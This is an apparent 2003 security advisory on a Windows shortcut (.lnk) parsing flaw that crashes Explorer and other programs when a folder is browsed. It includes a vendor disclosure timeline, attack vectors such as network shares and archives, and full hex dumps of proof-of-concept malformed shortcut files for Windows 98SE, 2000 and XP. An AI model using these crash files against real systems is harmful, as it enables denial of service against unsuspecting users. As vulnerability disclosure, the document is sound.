|
|
Sentinel Chicken Networks | |
|
Sentinel Chicken Networks Security Advisory #03Windows* Shortcut (.lnk) File
Date: August 19, 2003 |
| July 28, 2003 | Microsoft* was initially contacted via secure@microsoft.com |
| August 4, 2003 | Microsoft* did not respond after 5 business days. |
| August 4, 2003 | Microsoft* was contacted again via online form[1]. |
| August 4, 2003 | Microsoft* responded, and their investigation began. |
| August 12, 2003 | After working with SCN, Microsoft* found that they were able to reproduce the bug, but were not able to exploit any overflows. |
A bug exists in many versions of the Windows* operating system. When parsing certain malformed shortcut files (file extension .lnk), a core subroutine in the Windows* API will fail, causing the program that called it to crash. The types of failure vary from version to version. Some versions of the parsing algorithm will fail due to buffer overflows, while others may fail in other ways.
It has been demostrated that this problem at the very least can be used to create a denial of service (DoS) condition by causing any program using this API to crash while browsing the parent directory of such a malformed file. For example, if a malformed .lnk file were placed in a folder on the system, and a local user of the system browsed to that folder, explorer.exe would crash. This does not require the user to execute the .lnk file. Since Windows* will parse file headers of all files in a folder before they are viewed/executed, the vulnerability can be exploited merely by browsing the parent folder. A particularly nasty example of this, is that by placing a malformed .lnk file on a user's desktop, the user would experience an endless loop of crashes of explorer.exe, disallowing normal use of the system. The only way to fix such a situation is to boot to a command prompt, or alternate operating system and remove the problematic file.
Researchers at Microsoft*, upon being notified, analyzed the problem on several platforms and have not been able to exploit the bug (execute arbitrary code). Our own limited research has also shown that exploiting the bug would be difficult at best, though we have not ruled out the possibility on every version of Windows*.
There was no patch available at time of release. There is also no known work-around. Microsoft* has made the decision to release a fix in future service packs. The date of release for these service packs is not known.
This vulnerability[2] was previously discovered[3] in (year) 2000 by USSR Labs. In their advisory, it was concluded that Windows* 2000, and presumably later versions, were not affected. The original advisory was somewhat mis-leading, in that it implied that the security issue was the result of a hole in Serv-U FTP server*. However, later analysis found that the vulnerability truly resided in the Windows* API call SHGetPathFromIDList.
Earlier this year, another type of vulnerability was released relating to shortcut files. S. G. Masood found[4] that by specially crafting two .lnk files such that they pointed at one another, a DoS condition was created. When the subroutines in shell32.dll attempted to parse and follow one of the shortcut files, it would enter an endless loop, hopping between the two files, eventually crashing whatever process made calls to the API.
After reading about the issue Masood described, and trying it for ourselves, we began tinkering with the file format of .lnk files. After about 30 minutes of experimentation, we found we could crash programs in Windows 98SE* and Windows 2000* (both fully patched) with some simple changes to .lnk files using a hex editor.
Since .lnk files are considered to be executables by the security restrictions in Internet Explorer* (IE) and other Windows* programs, it isn't easy to expose a user to malformed shortcut files. However, there are a couple of ways it could happen.
The most obvious way would be via Windows* file shares. If an attacker were able to write a malicious .lnk file to a network share, then all users who viewed the directory that contained the shortcut would be exposed to attack.
Secondly, it wouldn't be difficult for an attacker to conceal a malicious .lnk file inside of a .zip archive, or any number of other (.tar.gz, .cab, .rar, etc) wrapper formats. Also inside of such an archive, could be setup files for a program, or anything to make the file seem safe. The average user probably wouldn't be afraid to extract files from an archive such as this, (keeping in mind, they have yet to execute any contents) and as soon as the .lnk file reaches their file system, it would sit as a time-bomb, waiting to attack whenever someone or something attempted to view the parent folder.
Other vectors of attack include anonymous FTP upload (described in the USSR Labs Advisory[3]) and various social engineering attacks. Use your imagination.
Once again, the bug probably does not manifest itself as an exploitable execution vulnerability. If it really is only usable in denial of service of individual programs, then the impact is pretty low, except for in extreme circumstances.
Each major release of Windows* is affected in a different way. Here, we will attempt to describe in what way each platform is affected, and will keep it up to date as well as we can, as new information becomes available. Because we have received little information from the vendor as to how the products are flawed, this information is incomplete and maybe incorrect.
Windows 98SE*
Does little or no validation of .lnk files when parsed. This leads to
many odd behaviors, when these files are malformed. Malformed files
will cause illegal operations while viewing properties, or just right
clicking the file, and at other times, when merely viewing the parent
directory. It is very likely that Windows 98* is vulnerable to
exploit via overflows, as described in
USSR's Advisory[3].
An example of a file that will cause erratic behavior (and crashes) of
programs in Windows 98* can be found
here[5].
WARNING: Be very careful with the sample shortcut files you download.
Place them in a temporary sub-folder that can be deleted without
browsing to that folder, BEFORE you remove the .DoS extension.
The file mentioned above started out as a simple shortcut pointing to c:\WINDOWS:
00000000 4C 00 00 00 01 14 02 00 00 00 00 00 L........... 0000000C C0 00 00 00 00 00 00 46 0B 00 00 00 .......F.... 00000018 10 00 00 00 00 00 00 00 00 00 00 00 ............ 00000024 00 18 5E B3 71 B2 BF 01 00 9C 2B 12 ..^.q.....+. 00000030 1B B3 BF 01 00 00 00 00 00 00 00 00 ............ 0000003C 01 00 00 00 00 00 00 00 00 00 00 00 ............ 00000048 00 00 00 00 46 00 14 00 1F 0F E0 4F ....F......O 00000054 D0 20 EA 3A 69 10 A2 D8 08 00 2B 30 . .:i.....+0 00000060 30 9D 19 00 23 43 3A 5C 00 00 00 00 0...#C:\.... 0000006C 00 00 00 00 00 00 00 00 00 00 00 00 ............ 00000078 00 B1 48 17 00 31 00 00 00 00 00 A1 ..H..1...... 00000084 28 8C 19 10 00 57 49 4E 44 4F 57 53 (....WINDOWS 00000090 00 00 00 00 41 00 00 00 1C 00 00 00 ....A....... 0000009C 01 00 00 00 1C 00 00 00 35 00 00 00 ........5... 000000A8 00 00 00 00 40 00 00 00 19 00 00 00 ....@....... 000000B4 03 00 00 00 0A 1B 70 0E 10 00 00 00 ......p..... 000000C0 43 4C 41 55 44 49 55 53 00 43 3A 5C CLAUDIUS.C:\ 000000CC 57 49 4E 44 4F 57 53 00 00 02 00 2E WINDOWS..... 000000D8 2E 00 00 00 00 .....To create the malformed file, we merely changed every byte, starting at offset 0x4D, to the value 0xFF. The resulting file:
00000000 4C 00 00 00 01 14 02 00 00 00 00 00 L........... 0000000C C0 00 00 00 00 00 00 46 0B 00 00 00 .......F.... 00000018 10 00 00 00 00 00 00 00 00 00 00 00 ............ 00000024 00 18 5E B3 71 B2 BF 01 00 9C 2B 12 ..^.q.....+. 00000030 1B B3 BF 01 00 00 00 00 00 00 00 00 ............ 0000003C 01 00 00 00 00 00 00 00 00 00 00 00 ............ 00000048 00 00 00 00 FF FF FF FF FF FF FF FF ............ 00000054 FF FF FF FF FF FF FF FF FF FF FF FF ............ 00000060 FF FF FF FF FF FF FF FF FF FF FF FF ............ 0000006C FF FF FF FF FF FF FF FF FF FF FF FF ............ 00000078 FF FF FF FF FF FF FF FF FF FF FF FF ............ 00000084 FF FF FF FF FF FF FF FF FF FF FF FF ............ 00000090 FF FF FF FF FF FF FF FF FF FF FF FF ............ 0000009C FF FF FF FF FF FF FF FF FF FF FF FF ............ 000000A8 FF FF FF FF FF FF FF FF FF FF FF FF ............ 000000B4 FF FF FF FF FF FF FF FF FF FF FF FF ............ 000000C0 FF FF FF FF FF FF FF FF FF FF FF FF ............ 000000CC FF FF FF FF FF FF FF FF FF FF FF FF ............ 000000D8 FF FF FF FF FF FF FF FF FF FF FF FF ............This particular alteration doesn't confer much information in the way of demonstrating a buffer overflow, but it has worked well in creating a DoS condition.
Windows 2000*
Win2K also does little in the way of validation while parsing .lnk
files. For example, taking the following file started as a shortcut to
C:\WINNT:
00000000 4C 00 00 00 01 14 02 00 00 00 00 00 L........... 0000000C C0 00 00 00 00 00 00 46 8B 00 00 00 .......F.... 00000018 30 00 00 00 54 65 3B 49 A7 05 C3 01 0...Te;I.... 00000024 04 62 D5 B4 AA 54 C3 01 1A F4 0B 35 .b...T.....5 00000030 9A 4C C3 01 00 90 00 00 00 00 00 00 .L.......... 0000003C 01 00 00 00 00 00 00 00 00 00 00 00 ............ 00000048 00 00 00 00 44 00 14 00 1F 50 E0 4F ....D....P.O 00000054 D0 20 EA 3A 69 10 A2 D8 08 00 2B 30 . .:i.....+0 00000060 30 9D 19 00 23 43 3A 5C 00 00 00 00 0...#C:\.... 0000006C 00 00 00 00 00 00 00 00 00 00 00 00 ............ 00000078 00 F1 D3 15 00 31 00 00 00 00 00 F1 .....1...... 00000084 2E 19 9C 30 00 57 49 4E 4E 54 00 00 ...0.WINNT.. 00000090 00 00 3D 00 00 00 1C 00 00 00 01 00 ..=......... 0000009C 00 00 1C 00 00 00 33 00 00 00 00 00 ......3..... 000000A8 00 00 3C 00 00 00 17 00 00 00 03 00 ..<......... 000000B4 00 00 20 9C 45 E4 10 00 00 00 53 59 .. .E.....SY 000000C0 53 54 45 4D 00 43 3A 5C 57 49 4E 4E STEM.C:\WINN 000000CC 54 00 00 0E 00 2E 00 2E 00 5C 00 2E T........\.. 000000D8 00 2E 00 5C 00 2E 00 2E 00 5C 00 57 ...\.....\.W 000000E4 00 49 00 4E 00 4E 00 54 00 10 00 00 .I.N.N.T.... 000000F0 00 05 00 00 A0 24 00 00 00 42 00 00 .....$...B.. 000000FC 00 60 00 00 00 03 00 00 A0 58 00 00 .`.......X.. 00000108 00 00 00 00 00 66 65 79 6E 6D 61 6E .....feynman 00000114 00 00 00 00 00 00 00 00 00 9E 7A 75 ..........zu 00000120 A3 A8 FF 1D 4F 8E A9 AA 32 C4 BA 37 ....O...2..7 0000012C B1 CA 4E A3 F2 9D C0 D7 11 AE 03 00 ..N......... 00000138 10 DC D5 56 33 9E 7A 75 A3 A8 FF 1D ...V3.zu.... 00000144 4F 8E A9 AA 32 C4 BA 37 B1 CA 4E A3 O...2..7..N. 00000150 F2 9D C0 D7 11 AE 03 00 10 DC D5 56 ...........V 0000015C 33 00 00 00 00 3....and after overwriting all bytes from offset 0x68 to the end of the file with the letter 'A':
00000000 4C 00 00 00 01 14 02 00 00 00 00 00 L........... 0000000C C0 00 00 00 00 00 00 46 8B 00 00 00 .......F.... 00000018 30 00 00 00 54 65 3B 49 A7 05 C3 01 0...Te;I.... 00000024 04 62 D5 B4 AA 54 C3 01 1A F4 0B 35 .b...T.....5 00000030 9A 4C C3 01 00 90 00 00 00 00 00 00 .L.......... 0000003C 01 00 00 00 00 00 00 00 00 00 00 00 ............ 00000048 00 00 00 00 44 00 14 00 1F 50 E0 4F ....D....P.O 00000054 D0 20 EA 3A 69 10 A2 D8 08 00 2B 30 . .:i.....+0 00000060 30 9D 19 00 23 43 3A 5C 41 41 41 41 0...#C:\AAAA 0000006C 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA 00000078 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA 00000084 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA 00000090 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA 0000009C 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA 000000A8 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA 000000B4 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA 000000C0 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA 000000CC 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA 000000D8 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA 000000E4 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA 000000F0 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA 000000FC 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA 00000108 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA 00000114 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA 00000120 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA 0000012C 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA 00000138 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA 00000144 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA 00000150 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA 0000015C 41 41 41 41 41 AAAAAwe have a file that causes code in shell32.dll to perform an illegal operation when it parses the file. Based upon initial analysis, it appears a buffer on the heap is overflown during the execution of a subroutine called by SHGetPathFromIDListW. The sample malformed shortcut file above can be downloaded here[6].
Windows XP*
Windows XP* does a good deal more format
validation on .lnk files while parsing them than its predecessors. The
vast majority of file alterations that cause Win2K and Win98 to crash,
only cause XP report an error indicating an invalid shortcut file.
However, with slightly more subtle changes, we have been able to cause
havoc in XP as well. However, we have had difficulty finding a single
malformed file that disrupts every patch level of XP. The following
modifications and test files may not cause the same problem in every
system. First a link file pointing to C:\Program Files was created:
00000000 4C 00 00 00 01 14 02 00 00 00 00 00 L........... 0000000C C0 00 00 00 00 00 00 46 83 00 00 00 .......F.... 00000018 11 00 00 00 A0 1D 11 A0 C0 23 C3 01 .........#.. 00000024 30 6A D8 0A E2 5A C3 01 70 F8 C2 9F 0j...Z..p... 00000030 FF 56 C3 01 00 00 00 00 00 00 00 00 .V.......... 0000003C 01 00 00 00 00 00 00 00 00 00 00 00 ............ 00000048 00 00 00 00 79 00 14 00 1F 50 E0 4F ....y....P.O 00000054 D0 20 EA 3A 69 10 A2 D8 08 00 2B 30 . .:i.....+0 00000060 30 9D 19 00 2F 43 3A 5C 00 00 00 00 0.../C:\.... 0000006C 00 00 00 00 00 00 00 00 00 00 00 00 ............ 00000078 00 00 00 4A 00 31 00 00 00 00 00 FF ...J.1...... 00000084 2E 80 08 11 00 50 52 4F 47 52 41 7E .....PROGRA~ 00000090 31 00 00 32 00 03 00 04 00 EF BE BA 1..2........ 0000009C 2E D1 9E 04 2F 84 90 14 00 00 00 50 ..../......P 000000A8 00 72 00 6F 00 67 00 72 00 61 00 6D .r.o.g.r.a.m 000000B4 00 20 00 46 00 69 00 6C 00 65 00 73 . .F.i.l.e.s 000000C0 00 00 00 18 00 00 00 62 00 00 00 1C .......b.... 000000CC 00 00 00 03 00 00 00 1C 00 00 00 2D ...........- 000000D8 00 00 00 34 00 00 00 54 00 00 00 11 ...4...T.... 000000E4 00 00 00 03 00 00 00 C9 15 9C 24 10 ..........$. 000000F0 00 00 00 00 43 3A 5C 00 00 00 00 20 ....C:\.... 000000FC 00 00 00 02 00 00 00 14 00 00 00 00 ............ 00000108 00 00 00 00 00 02 00 5C 5C 4D 4F 52 .......\MOR 00000114 47 47 49 4E 5C 43 00 50 72 6F 67 72 GGIN\C.Progr 00000120 61 6D 20 46 69 6C 65 73 00 10 00 00 am Files.... 0000012C 00 05 00 00 A0 26 00 00 00 77 00 00 .....&...w.. 00000138 00 60 00 00 00 03 00 00 A0 58 00 00 .`.......X.. 00000144 00 00 00 00 00 6D 6F 72 67 67 69 6E .....morggin 00000150 00 00 00 00 00 00 00 00 00 4C A7 84 .........L.. 0000015C 00 44 73 B5 48 B2 F1 37 48 4B E2 62 .Ds.H..7HK.b 00000168 DA A0 7A 56 C4 A6 C6 D7 11 B7 56 00 ..zV......V. 00000174 24 80 37 E7 06 4C A7 84 00 44 73 B5 $.7..L...Ds. 00000180 48 B2 F1 37 48 4B E2 62 DA A0 7A 56 H..7HK.b..zV 0000018C C4 A6 C6 D7 11 B7 56 00 24 80 37 E7 ......V.$.7. 00000198 06 00 00 00 00 .....Then, by overwriting the three null bytes at offset 0xA4 with 0xFF, we get:
00000000 4C 00 00 00 01 14 02 00 00 00 00 00 L........... 0000000C C0 00 00 00 00 00 00 46 83 00 00 00 .......F.... 00000018 11 00 00 00 A0 1D 11 A0 C0 23 C3 01 .........#.. 00000024 30 6A D8 0A E2 5A C3 01 70 F8 C2 9F 0j...Z..p... 00000030 FF 56 C3 01 00 00 00 00 00 00 00 00 .V.......... 0000003C 01 00 00 00 00 00 00 00 00 00 00 00 ............ 00000048 00 00 00 00 79 00 14 00 1F 50 E0 4F ....y....P.O 00000054 D0 20 EA 3A 69 10 A2 D8 08 00 2B 30 . .:i.....+0 00000060 30 9D 19 00 2F 43 3A 5C 00 00 00 00 0.../C:\.... 0000006C 00 00 00 00 00 00 00 00 00 00 00 00 ............ 00000078 00 00 00 4A 00 31 00 00 00 00 00 FF ...J.1...... 00000084 2E 80 08 11 00 50 52 4F 47 52 41 7E .....PROGRA~ 00000090 31 00 00 32 00 03 00 04 00 EF BE BA 1..2........ 0000009C 2E D1 9E 04 2F 84 90 14 FF FF FF 50 ..../......P 000000A8 00 72 00 6F 00 67 00 72 00 61 00 6D .r.o.g.r.a.m 000000B4 00 20 00 46 00 69 00 6C 00 65 00 73 . .F.i.l.e.s 000000C0 00 00 00 18 00 00 00 62 00 00 00 1C .......b.... 000000CC 00 00 00 03 00 00 00 1C 00 00 00 2D ...........- 000000D8 00 00 00 34 00 00 00 54 00 00 00 11 ...4...T.... 000000E4 00 00 00 03 00 00 00 C9 15 9C 24 10 ..........$. 000000F0 00 00 00 00 43 3A 5C 00 00 00 00 20 ....C:\.... 000000FC 00 00 00 02 00 00 00 14 00 00 00 00 ............ 00000108 00 00 00 00 00 02 00 5C 5C 4D 4F 52 .......\MOR 00000114 47 47 49 4E 5C 43 00 50 72 6F 67 72 GGIN\C.Progr 00000120 61 6D 20 46 69 6C 65 73 00 10 00 00 am Files.... 0000012C 00 05 00 00 A0 26 00 00 00 77 00 00 .....&...w.. 00000138 00 60 00 00 00 03 00 00 A0 58 00 00 .`.......X.. 00000144 00 00 00 00 00 6D 6F 72 67 67 69 6E .....morggin 00000150 00 00 00 00 00 00 00 00 00 4C A7 84 .........L.. 0000015C 00 44 73 B5 48 B2 F1 37 48 4B E2 62 .Ds.H..7HK.b 00000168 DA A0 7A 56 C4 A6 C6 D7 11 B7 56 00 ..zV......V. 00000174 24 80 37 E7 06 4C A7 84 00 44 73 B5 $.7..L...Ds. 00000180 48 B2 F1 37 48 4B E2 62 DA A0 7A 56 H..7HK.b..zV 0000018C C4 A6 C6 D7 11 B7 56 00 24 80 37 E7 ......V.$.7. 00000198 06 00 00 00 00 .....This altered file can be obtained here[7].
Windows Server 2003 (.NET)*
Very little testing has been done on this platform. Our preliminary
results indicate that 2003 is vulnerable in the same way that XP is, but
this is not confirmed. The only real verification we were
able to do, was to test a file that caused problems with XP on 2003.
The results on 2003 were the same as those on XP for that particular
file. We do not currently have a test version of 2003, and therefore
cannot test further. Any information on this would be greatly
appreciated.
| 1. | https://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/alertus.asp |
| 2. | http://www.securityfocus.com/bid/970 |
| 3. | http://www.securityfocus.com/advisories/2079 |
| 4. | http://www.securityfocus.com/archive/1/315151 |
| 5. | http://www.sentinelchicken.com/data/advisories/win_lnk/98.lnk.DoS |
| 6. | http://www.sentinelchicken.com/data/advisories/win_lnk/2k.lnk.DoS |
| 7. | http://www.sentinelchicken.com/data/advisories/win_lnk/XP.lnk.DoS |
| 8. | http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0129 |
Similar issue disclosed in February of 2000 by:
USSR Labs
Re-discovered and disclosed in August of 2003 by:
Tim Morgan
Testing contributions from:
Bill Jameson
This advisory written by:
Tim Morgan
Editorial suggestions from:
Leper
* Rights to names, marks, products, and gadgets listed in this advisory are owned by their respective, paranoid, companies.
This advisory is intended for educational use only. It is the sincere hope of the author(s) that this information will help protect the public from the vulnerability discussed. Where possible, the author(s) has made a reasonable effort to contact vendors and release only after patches/work-arounds are made available. The author(s) will not take responsibility for any possible negative effects of its dissemination.
|
Content on this page, unless otherwise indicated, is © 2002-2010 Sentinel Chicken Networks. Reproduction is authorized under our terms. |
|
|
printer friendly Also available in IPv6. |
|